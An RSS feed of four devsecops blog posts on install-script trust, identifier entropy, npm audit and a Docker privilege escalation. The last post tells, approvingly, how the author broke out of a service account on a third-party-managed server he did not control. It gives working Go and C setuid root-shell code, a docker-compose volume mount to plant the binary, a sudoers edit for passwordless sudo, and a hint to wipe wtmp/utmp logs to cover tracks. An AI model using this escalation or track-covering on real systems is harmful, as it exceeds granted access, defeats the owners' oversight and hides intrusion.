<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>devsecops &amp;mdash; StealthyCoder</title>
    <link>https://stealthycoder.writeas.com/tag:devsecops</link>
    <description>Making code ninjas out of everyone</description>
    <pubDate>Sun, 19 Apr 2026 02:44:18 +0000</pubDate>
    <item>
      <title>Trust but verify</title>
      <link>https://stealthycoder.writeas.com/trust-but-verify?pk_campaign=rss-feed</link>
      <description>&lt;![CDATA[So I read this article which is a response to this article recently. The reaction article is what triggered me to write this post.  !--more--&#xA;&#xA;In it the author states that it is stupid to consider piping shell scripts from the internet directly into a shell to be considered a security vulnerability or even a malpractice. The reason he gives is you already trust all the other software the vendor made why not this install script? Or why not the website itself? &#xA;&#xA;Invulnerability&#xA;&#xA;No one software vendor is invulnerable to attack. There have been many cases in the recent past of packages across languages being injected with malware. From Ruby to NPM. This means that sites could be compromised or even the install scripts. The reason install scripts from Github could be compromised is because the software developers&#39; account on there could be compromised. &#xA;&#xA;Check yourself before you wreck yourself&#xA;&#xA;The thing is it is good to have a healthy dose of mistrust and trust the vendors but verify it is all alright. &#xA;&#xA;You can do this by inspecting the code periodically, or in the case of install scripts what it is actually doing. You can always run the hash checksums or the GPG check to verify it. You could shut everything else off and have a look with a network packet inspector if anything fishy is going on. &#xA;&#xA;The routine you want to get yourself into is the fact you check everything at least with a cursory glance before you blindly run everything. &#xA;&#xA;#devops #secops #devsecops&#xA;]]&gt;</description>
      <content:encoded><![CDATA[<p>So I read <a href="https://arp242.net/curl-to-sh.html" rel="nofollow">this article</a> which is a response to <a href="https://0x46.net/thoughts/2019/04/27/piping-curl-to-shell/" rel="nofollow">this article</a> recently. The reaction article is what triggered me to write this post.  </p>

<p>In it the author states that it is stupid to consider piping shell scripts from the internet directly into a shell to be considered a security vulnerability or even a malpractice. The reason he gives is you already trust all the other software the vendor made why not this install script? Or why not the website itself?</p>

<h2 id="invulnerability" id="invulnerability">Invulnerability</h2>

<p>No one software vendor is invulnerable to attack. There have been many cases in the recent past of packages across languages being injected with malware. From <a href="https://www.securityweek.com/malicious-code-planted-strongpassword-ruby-gem" rel="nofollow">Ruby</a> to <a href="https://blog.reversinglabs.com/blog/the-npm-package-that-walked-away-with-all-your-passwords" rel="nofollow">NPM</a>. This means that sites could be compromised or even the install scripts. The reason install scripts from Github could be compromised is because the software developers&#39; account on there could be compromised.</p>

<h2 id="check-yourself-before-you-wreck-yourself" id="check-yourself-before-you-wreck-yourself">Check yourself before you wreck yourself</h2>

<p>The thing is it is <strong>good</strong> to have a healthy dose of mistrust and trust the vendors but verify it is all alright.</p>

<p>You can do this by inspecting the code periodically, or in the case of install scripts what it is actually doing. You can always run the hash checksums or the GPG check to verify it. You could shut everything else off and have a look with a network packet inspector if anything fishy is going on.</p>

<p>The routine you want to get yourself into is the fact you check everything at least with a cursory glance before you blindly run everything.</p>

<p><a href="https://stealthycoder.writeas.com/tag:devops" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">devops</span></a> <a href="https://stealthycoder.writeas.com/tag:secops" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">secops</span></a> <a href="https://stealthycoder.writeas.com/tag:devsecops" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">devsecops</span></a></p>
]]></content:encoded>
      <guid>https://stealthycoder.writeas.com/trust-but-verify</guid>
      <pubDate>Sat, 09 Nov 2019 09:48:39 +0000</pubDate>
    </item>
    <item>
      <title>On a collision course</title>
      <link>https://stealthycoder.writeas.com/on-a-collision-course?pk_campaign=rss-feed</link>
      <description>&lt;![CDATA[This will be a quick post about why you should not make your own identifiers if you can and also if you need to have an identifier that is easy to communicate with/about for clients base it on something that is still very much unique. !--more--&#xA;&#xA;Entropy&#xA;&#xA;In order to quantize the measurement of how unique something is we need a unit to measure it in. This measurement is called entropy or the level of entropy and the unit is bits. Next we will compare two identifiers, one is UUIDv4 (Universally Unique Identifier v4) and the other a custom one with a specific format and their respective bits. &#xA;&#xA;UUIDv4&#xA;&#xA;As stated on the Wikipedia page, the number of entropy bits are 122. This is due to the fact a UUID is actually a representation of 128 bit integer. 4 bits are needed to denote the version and 2 bits are needed to mark the variant. So 128 - 6 bits is 122.&#xA;&#xA;Custom format&#xA;&#xA;The custom format will follow the convention of&#xA;first idhex valuesecond id-day of the monthhex value-hex valuehex valuehex value&#xA;The first and second id are single digit values. The hex value comes from a UUIDv4 generated value and the day of the month is a double digit. An example would be: 1F2-01D-36F. &#xA;&#xA;Calculation&#xA;&#xA;To calculate the entropy there are different tactics. One is the Shannon entropy, the other is the Rényi entropy and there is a simple calculation for guessing entropy. The guessing entropy is calculated by doing logsub2/sub(A)  L where A is the size of the alphabet, how many possible characters can inhabit a spot, and L is the total length or how many spots we have of these. In our case it is that the first id, second id and day of the month are all static. That leaves 5 spots of hex values which can contain 16 possibilities. Formula will be: logsub2/sub(16)  5 = 20. &#xA;&#xA;So we have 20 bits of entropy vs 122 bits. &#xA;&#xA;Collision&#xA;&#xA;We can calculate the number that is needed in order to get a 50% probability that an identifier will be generated that already exist and therefore there will be a collision.  Formula to do this is: 0.5 + √(0.25 +  2  ln(2)  2supentropy/sup ). For UUIDv4 this gives 0.5 + √(0.25 +  2  ln(2)  2sup122/sup ) = 2.71  10sup18/sup . For our custom implementation this gives 0.5 + √(0.25 +  2  ln(2) * 2sup20/sup ) = 1.206. &#xA;&#xA;This means it takes only 1.206 entries with our new format to arrive at a 50-50 chance of duplicating our unique identifier. &#xA;&#xA;Solution&#xA;&#xA;The solution would be to store the unique id and the displayed id together. Then the lower entropy would be okay, as the user combined with the lower entropy identifier would be unique but only if you stay within the 1206 entries. A person might get above that number though. &#xA;&#xA;So we use the UUIDv4 to store the actual unique identifier. Then for the display one the customer can communicate with a good representation of a number that will be generated once and let us take all letters of the alphabet and numbers for a total of 36 which will be the size of A and make L=9. This means we get about 46 bits of entropy and that would make for 9.876.831 entries needing to be generated to get to 50-50 chance. Since for a single user it would be very difficult to get that many entries I think we would be secure and in worst case check if the id already exists and then generate another one. &#xA;&#xA;#devlife #secops #devsecops]]&gt;</description>
      <content:encoded><![CDATA[<p>This will be a quick post about why you should not make your own identifiers if you can and also if you need to have an identifier that is easy to communicate with/about for clients base it on something that is still very much unique. </p>

<h2 id="entropy" id="entropy">Entropy</h2>

<p>In order to quantize the measurement of how unique something is we need a unit to measure it in. This measurement is called entropy or the level of entropy and the unit is <em>bits</em>. Next we will compare two identifiers, one is UUIDv4 (Universally Unique Identifier v4) and the other a custom one with a specific format and their respective bits.</p>

<h2 id="uuidv4" id="uuidv4">UUIDv4</h2>

<p>As stated on the <a href="https://en.wikipedia.org/wiki/Universally_unique_identifier" rel="nofollow">Wikipedia</a> page, the number of entropy bits are 122. This is due to the fact a UUID is actually a representation of 128 bit integer. 4 bits are needed to denote the version and 2 bits are needed to mark the variant. So 128 – 6 bits is 122.</p>

<h2 id="custom-format" id="custom-format">Custom format</h2>

<p>The custom format will follow the convention of</p>

<pre><code>&lt;first id&gt;&lt;hex value&gt;&lt;second id&gt;-&lt;day of the month&gt;&lt;hex value&gt;-&lt;hex value&gt;&lt;hex value&gt;&lt;hex value&gt;
</code></pre>

<p>The first and second id are single digit values. The hex value comes from a UUIDv4 generated value and the day of the month is a double digit. An example would be: 1F2-01D-36F.</p>

<h3 id="calculation" id="calculation">Calculation</h3>

<p>To calculate the entropy there are different tactics. One is the <a href="https://en.wikipedia.org/wiki/Shannon_entropy" rel="nofollow">Shannon entropy</a>, the other is the <a href="https://en.wikipedia.org/wiki/R%C3%A9nyi_entropy" rel="nofollow">Rényi entropy</a> and there is a simple calculation for guessing entropy. The guessing entropy is calculated by doing log<sub>2</sub>(A) * L where A is the size of the alphabet, how many possible characters can inhabit a spot, and L is the total length or how many spots we have of these. In our case it is that the first id, second id and day of the month are all static. That leaves 5 spots of hex values which can contain 16 possibilities. Formula will be: log<sub>2</sub>(16) * 5 = 20.</p>

<p>So we have 20 bits of entropy vs 122 bits.</p>

<h2 id="collision" id="collision">Collision</h2>

<p>We can calculate the number that is needed in order to get a 50% probability that an identifier will be generated that already exist and therefore there will be a collision.  Formula to do this is: 0.5 + √(0.25 +  2 * ln(2) * 2<sup>entropy</sup> ). For UUIDv4 this gives 0.5 + √(0.25 +  2 * ln(2) * 2<sup>122</sup> ) = 2.71 * 10<sup>18</sup> . For our custom implementation this gives 0.5 + √(0.25 +  2 * ln(2) * 2<sup>20</sup> ) = 1.206.</p>

<p>This means it takes only 1.206 entries with our new format to arrive at a 50-50 chance of duplicating our unique identifier.</p>

<h2 id="solution" id="solution">Solution</h2>

<p>The solution would be to store the unique id and the displayed id together. Then the lower entropy would be okay, as the user combined with the lower entropy identifier would be unique but only if you stay within the 1206 entries. A person might get above that number though.</p>

<p>So we use the UUIDv4 to store the actual unique identifier. Then for the display one the customer can communicate with a good representation of a number that will be generated once and let us take all letters of the alphabet and numbers for a total of 36 which will be the size of A and make L=9. This means we get about 46 bits of entropy and that would make for 9.876.831 entries needing to be generated to get to 50-50 chance. Since for a single user it would be very difficult to get that many entries I think we would be secure and in worst case check if the id already exists and then generate another one.</p>

<p><a href="https://stealthycoder.writeas.com/tag:devlife" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">devlife</span></a> <a href="https://stealthycoder.writeas.com/tag:secops" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">secops</span></a> <a href="https://stealthycoder.writeas.com/tag:devsecops" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">devsecops</span></a></p>
]]></content:encoded>
      <guid>https://stealthycoder.writeas.com/on-a-collision-course</guid>
      <pubDate>Thu, 12 Dec 2019 20:21:33 +0000</pubDate>
    </item>
    <item>
      <title>No-one is immune</title>
      <link>https://stealthycoder.writeas.com/no-one-is-immune?pk_campaign=rss-feed</link>
      <description>&lt;![CDATA[I recently ran into the unsolvable issue that if you ran an npm audit on a React or Angular framework project, it would give back an error because of this CVE. Now the solution was to go to a lower dependency for one of the scripts, but that lower dependency had other high vulnerabilities and so you were in an endless cycle and could not fix it. !--more--&#xA;&#xA;Workaround&#xA;&#xA;Basically just turned off npm audit for now, or increase the audit level to critical instead of just high. &#xA;&#xA;---&#xA;Update&#xA;&#xA;The issue is resolved now because the frameworks released a minor update addressing this. &#xA;&#xA;---&#xA;&#xA;Problem&#xA;&#xA;Sometimes you just run into the fact that major frameworks cannot run fast enough because of so many nested dependencies. The tree graph of the dependencies could rival Yggdrasil. Do not be lulled into a false sense of security thinking these frameworks automatically provide the best of the best security.&#xA;&#xA;Because of all these small moving parts working together to create a complex machination it means the attack surface is quite large actually.  It also opens up the multitude of possible so-called supply chain attacks. &#xA;&#xA;That is where you do not attack the main framework but a package that is used somewhere along the chain in order to create the bigger framework. &#xA;&#xA;#devops #secops #devsecops]]&gt;</description>
      <content:encoded><![CDATA[<p>I recently ran into the unsolvable issue that if you ran an <code>npm audit</code> on a React or Angular framework project, it would give back an error because of this <a href="https://github.com/advisories/GHSA-3wcq-x3mq-6r9p" rel="nofollow">CVE</a>. Now the solution was to go to a lower dependency for one of the scripts, but that lower dependency had other high vulnerabilities and so you were in an endless cycle and could not fix it. </p>

<h2 id="workaround" id="workaround">Workaround</h2>

<p>Basically just turned off <code>npm audit</code> for now, or increase the audit level to <code>critical</code> instead of just <code>high</code>.</p>

<hr/>

<p><strong>Update</strong></p>

<p>The issue is resolved now because the frameworks released a minor update addressing this.</p>

<hr/>

<h1 id="problem" id="problem">Problem</h1>

<p>Sometimes you just run into the fact that major frameworks cannot run fast enough because of so many nested dependencies. The tree graph of the dependencies could rival Yggdrasil. Do not be lulled into a false sense of security thinking these frameworks automatically provide the best of the best security.</p>

<p>Because of all these small moving parts working together to create a complex machination it means the attack surface is quite large actually.  It also opens up the multitude of possible so-called supply chain attacks.</p>

<p>That is where you do not attack the main framework but a package that is used somewhere along the chain in order to create the bigger framework.</p>

<p><a href="https://stealthycoder.writeas.com/tag:devops" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">devops</span></a> <a href="https://stealthycoder.writeas.com/tag:secops" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">secops</span></a> <a href="https://stealthycoder.writeas.com/tag:devsecops" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">devsecops</span></a></p>
]]></content:encoded>
      <guid>https://stealthycoder.writeas.com/no-one-is-immune</guid>
      <pubDate>Wed, 02 Jun 2021 13:45:45 +0000</pubDate>
    </item>
    <item>
      <title>Docker is fun</title>
      <link>https://stealthycoder.writeas.com/docker-is-fun?pk_campaign=rss-feed</link>
      <description>&lt;![CDATA[There was a problem on a server we did not control. It was managed by a third party and we only got a service account. Since things were down and I did not have full root access I got a bit annoyed waiting for them to respond back. &#xA;&#xA;I decided to take matters into my own hands. !--more-- So first things first, we have sudo privileges but you need to know the password. We do not know the password, everything is done with SSH keys. Secondly there is docker on the system but we can only interact with it via their homegrown tool. Hmmz, how can we exploit this? &#xA;&#xA;A special kind of binary&#xA;&#xA;There are binaries in Linux that are marked s for special, or setuid, either or. These kinds of binaries run with what is known as a different effective uid or euid. For example sudo is one of these programs.&#xA;&#xA;-rwsr-xr-x 1 root root 187K Feb 18  2021 /usr/bin/sudo&#xA;That s in the -rws means the setuid bit is set. Of course that is how sudo works, it sets the real uid to the euid and then executes whatever program needed. We can write our own software that does this without asking for passwords.&#xA;&#xA;  Take note however of the fact that the euid comes from who actually owns the binary. So you need root privileges in order to make a binary owned by root and so if you already have that then you don&#39;t need this exploit.&#xA;&#xA;Go make a binary&#xA;&#xA;So let me try my hand at writing it in Go. The filename is stars.go. &#xA;&#xA;package main&#xA;&#xA;import &#34;syscall&#34;&#xA;&#xA;func main() {&#xA;  syscall.Setuid(syscall.Geteuid())&#xA;  syscall.Exec(&#34;/bin/sh&#34;, []string{}, []string{})&#xA;}&#xA;&#xA;That is all it takes. Really, that is it. So we build the binary with go build stars.go and then the following on a machine you control to test it out:&#xA;&#xA;sudo chown root:root stars&#xA;sudo chmod u+s stars&#xA;&#xA;This creates a binary that has the setuid bit and owned by root but anyone can execute and so run it and BAM we got a root shell.&#xA;&#xA;Well not quite. It did not work for me. So I ditched this way.&#xA;&#xA;  Later on I will share what failed to make it work. &#xA;&#xA;Good ol&#39; C&#xA;&#xA;C never fails. So let us write some C code that does the exact same thing.&#xA;&#xA;include stdio.h&#xA;include sys/types.h&#xA;include unistd.h&#xA;include stdlib.h&#xA;&#xA;static uidt euid;&#xA;&#xA;int main (void) {&#xA;  euid = geteuid();&#xA;  setuid(euid);&#xA;  char* args[] = {&#34;/bin/sh&#34;, NULL};&#xA;  execvp(args[0], args);&#xA;}&#xA;&#xA;As you can see it is not a lot more that is needed to be written. Compile with gcc -o stars stars.c and repeat the same steps above for making the binary the correct state. Run it and BAM we do get a root shell. This was so exciting for me. The proof of concept (PoC) worked. &#xA;&#xA;Actual operation&#xA;&#xA;Back to the server. Since there is access to docker via a docker-compose we create the following docker-compose.yml file:&#xA;&#xA;version: &#39;3.3&#39;&#xA;&#xA;services:&#xA;  generic:&#xA;      image: rockylinux/rockylinux&#xA;      command:&#xA;         &#34;/usr/bin/tail&#34;&#xA;         &#34;-f&#34;&#xA;         &#34;/dev/null&#34;&#xA;      volumes:&#xA;         .:/data&#xA;&#xA;Then run the command via their tool to get a container infinitely running and then exec into it. The reason for the RockyLinux container is because I was on CentOS host machine and I wanted to see how RockyLinux was whilst staying relatively close to the host machine. The command is needed otherwise the container will exit immediately. This command is basically trying to endlessly read /dev/null but that will never produce output. &#xA;&#xA;Now navigate to /data and install vim and gcc. I did this with yum but I realized now that actually that should have been dnf, but maybe underwater they are symlinked. &#xA;&#xA;Then after installation create the stars.c file and compile it and fix the binary. Then drop out of the docker container and run the binary on the host system and BAM, root shell, pwned, h4xx0rd and what have you not.&#xA;&#xA;Quickly edited the /etc/sudoers file to give me passwordless sudo and if you really wanted to be fancy you could edit out your wtmp and utmp entries to cover your tracks but I did not feel this was necessary. &#xA;&#xA;Go make a binary, again&#xA;&#xA;So I wanted to get it to work with Go though as I did not understand why it failed. I looked at the official docs and saw it gave back an error object. I thought let me log that out and see what it contains. It contained something along the lines of &#34;operation not permitted&#34;. So a quick search on that with Setuid call and I got the result that Go version 1.15 had a bug that made it not work but Go 1.16 and up had it fixed. This commit has the exact reason.&#xA;&#xA;So I installed Go 1.17 and recompiled and reran and BAM, I got a shell again. &#xA;&#xA;The advantage of making a Golang exploit is you automatically get a statically linked binary that could just be dropped in as long as they ran the general same version of the C library, for example GNU libc, and have the same architecture (both being x8664 or aarch64  for example) . &#xA;&#xA;So if you wanted to target Alpine (musl instead of glibc) running on Raspberry  Pi 4 (aarch64 instead of x86) then you have to cross compile or use some clever tricks I will write in the next post of running docker as a different architecture using QEMU. &#xA;&#xA;Conclusion&#xA;&#xA;This was a fun and simple way of getting around the no root thing. Just remember that Docker shares the kernel with the host and therefore you can easily bypass many restrictions you try to put on your system. For instance making /etc/sudoers read-only (I have root, I can do what I want...) or never sharing passwords only SSH keys. &#xA;&#xA;How to combat this? Well you could use rootless docker that does not do user mapping with the containers. If you do not map users 1-1 with the host you can never actually be root on the host machine and therefore your root user in the container can not create these special binaries on the machine itself. &#xA;&#xA;#devlife #devops #devsecops #secops]]&gt;</description>
      <content:encoded><![CDATA[<p>There was a problem on a server we did not control. It was managed by a third party and we only got a service account. Since things were down and I did not have full root access I got a bit annoyed waiting for them to respond back.</p>

<p>I decided to take matters into my own hands.  So first things first, we have <code>sudo</code> privileges but you need to know the password. We do not know the password, everything is done with SSH keys. Secondly there is <code>docker</code> on the system but we can only interact with it via their homegrown tool. Hmmz, how can we exploit this?</p>

<h1 id="a-special-kind-of-binary" id="a-special-kind-of-binary">A special kind of binary</h1>

<p>There are binaries in Linux that are marked s for special, or <code>setuid</code>, either or. These kinds of binaries run with what is known as a different <em>effective</em> uid or <code>euid</code>. For example <code>sudo</code> is one of these programs.</p>

<pre><code>-rwsr-xr-x 1 root root 187K Feb 18  2021 /usr/bin/sudo
</code></pre>

<p>That s in the <code>-rws</code> means the setuid bit is set. Of course that is how sudo works, it sets the <em>real</em> uid to the <code>euid</code> and then executes whatever program needed. We can write our own software that does this without asking for passwords.</p>

<blockquote><p>Take note however of the fact that the <code>euid</code> comes from who actually owns the binary. So you need root privileges in order to make a binary owned by root and so if you already have that then you don&#39;t need this exploit.</p></blockquote>

<h1 id="go-make-a-binary" id="go-make-a-binary">Go make a binary</h1>

<p>So let me try my hand at writing it in Go. The filename is <code>stars.go</code>.</p>

<pre><code class="language-go">package main

import &#34;syscall&#34;


func main() {
  syscall.Setuid(syscall.Geteuid())
  syscall.Exec(&#34;/bin/sh&#34;, []string{}, []string{})
}

</code></pre>

<p>That is all it takes. Really, that is it. So we build the binary with <code>go build stars.go</code> and then the following on a machine you control to test it out:</p>

<pre><code class="language-bash">sudo chown root:root stars
sudo chmod u+s stars
</code></pre>

<p>This creates a binary that has the <code>setuid</code> bit and owned by root but anyone can execute and so run it and BAM we got a root shell.</p>

<p>Well not quite. It did not work for me. So I ditched this way.</p>

<blockquote><p>Later on I will share what failed to make it work.</p></blockquote>

<h1 id="good-ol-c" id="good-ol-c">Good ol&#39; C</h1>

<p>C never fails. So let us write some C code that does the exact same thing.</p>

<pre><code class="language-C">#include &lt;stdio.h&gt;
#include &lt;sys/types.h&gt;
#include &lt;unistd.h&gt;
#include &lt;stdlib.h&gt;

static uid_t euid;

int main (void) {
  euid = geteuid();
  setuid(euid);
  char* args[] = {&#34;/bin/sh&#34;, NULL};
  execvp(args[0], args);
}

</code></pre>

<p>As you can see it is not a lot more that is needed to be written. Compile with <code>gcc -o stars stars.c</code> and repeat the same steps above for making the binary the correct state. Run it and BAM we do get a root shell. This was so exciting for me. The proof of concept (PoC) worked.</p>

<h1 id="actual-operation" id="actual-operation">Actual operation</h1>

<p>Back to the server. Since there is access to docker via a docker-compose we create the following <code>docker-compose.yml</code> file:</p>

<pre><code class="language-YAML">version: &#39;3.3&#39;

services:
  generic:
      image: rockylinux/rockylinux
      command:
         - &#34;/usr/bin/tail&#34;
         - &#34;-f&#34;
         - &#34;/dev/null&#34;
      volumes:
         - .:/data
</code></pre>

<p>Then run the command via their tool to get a container infinitely running and then exec into it. The reason for the RockyLinux container is because I was on CentOS host machine and I wanted to see how RockyLinux was whilst staying relatively close to the host machine. The command is needed otherwise the container will exit immediately. This command is basically trying to endlessly read <code>/dev/null</code> but that will never produce output.</p>

<p>Now navigate to <code>/data</code> and install <code>vim</code> and <code>gcc</code>. I did this with <code>yum</code> but I realized now that actually that should have been <code>dnf</code>, but maybe underwater they are symlinked.</p>

<p>Then after installation create the <code>stars.c</code> file and compile it and fix the binary. Then drop out of the docker container and run the binary on the host system and BAM, root shell, pwned, h4xx0rd and what have you not.</p>

<p>Quickly edited the <code>/etc/sudoers</code> file to give me passwordless <code>sudo</code> and if you really wanted to be fancy you could edit out your <code>wtmp</code> and <code>utmp</code> entries to cover your tracks but I did not feel this was necessary.</p>

<h1 id="go-make-a-binary-again" id="go-make-a-binary-again">Go make a binary, again</h1>

<p>So I wanted to get it to work with Go though as I did not understand why it failed. I looked at the official docs and saw it gave back an error object. I thought let me log that out and see what it contains. It contained something along the lines of “operation not permitted”. So a quick search on that with <code>Setuid</code> call and I got the result that Go version 1.15 had a bug that made it not work but Go 1.16 and up had it fixed. This <a href="https://github.com/golang/go/commit/d1b1145cace8b968307f9311ff611e4bb810710c" rel="nofollow">commit</a> has the exact reason.</p>

<p>So I installed Go 1.17 and recompiled and reran and BAM, I got a shell again.</p>

<p>The advantage of making a Golang exploit is you automatically get a statically linked binary that could just be dropped in as long as they ran the general same version of the C library, for example GNU libc, and have the same architecture (both being x86_64 or aarch64  for example) .</p>

<p>So if you wanted to target Alpine (musl instead of glibc) running on Raspberry  Pi 4 (aarch64 instead of x86) then you have to cross compile or use some clever tricks I will write in the next post of running docker as a different architecture using QEMU.</p>

<h1 id="conclusion" id="conclusion">Conclusion</h1>

<p>This was a fun and simple way of getting around the no root thing. Just remember that Docker shares the kernel with the host and therefore you can easily bypass many restrictions you try to put on your system. For instance making <code>/etc/sudoers</code> read-only (I have root, I can do what I want...) or never sharing passwords only SSH keys.</p>

<p>How to combat this? Well you could use rootless docker that does not do user mapping with the containers. If you do not map users 1-1 with the host you can never actually be root on the host machine and therefore your <code>root</code> user in the container can not create these special binaries on the machine itself.</p>

<p><a href="https://stealthycoder.writeas.com/tag:devlife" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">devlife</span></a> <a href="https://stealthycoder.writeas.com/tag:devops" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">devops</span></a> <a href="https://stealthycoder.writeas.com/tag:devsecops" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">devsecops</span></a> <a href="https://stealthycoder.writeas.com/tag:secops" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">secops</span></a></p>
]]></content:encoded>
      <guid>https://stealthycoder.writeas.com/docker-is-fun</guid>
      <pubDate>Fri, 27 Aug 2021 14:45:19 +0000</pubDate>
    </item>
  </channel>
</rss>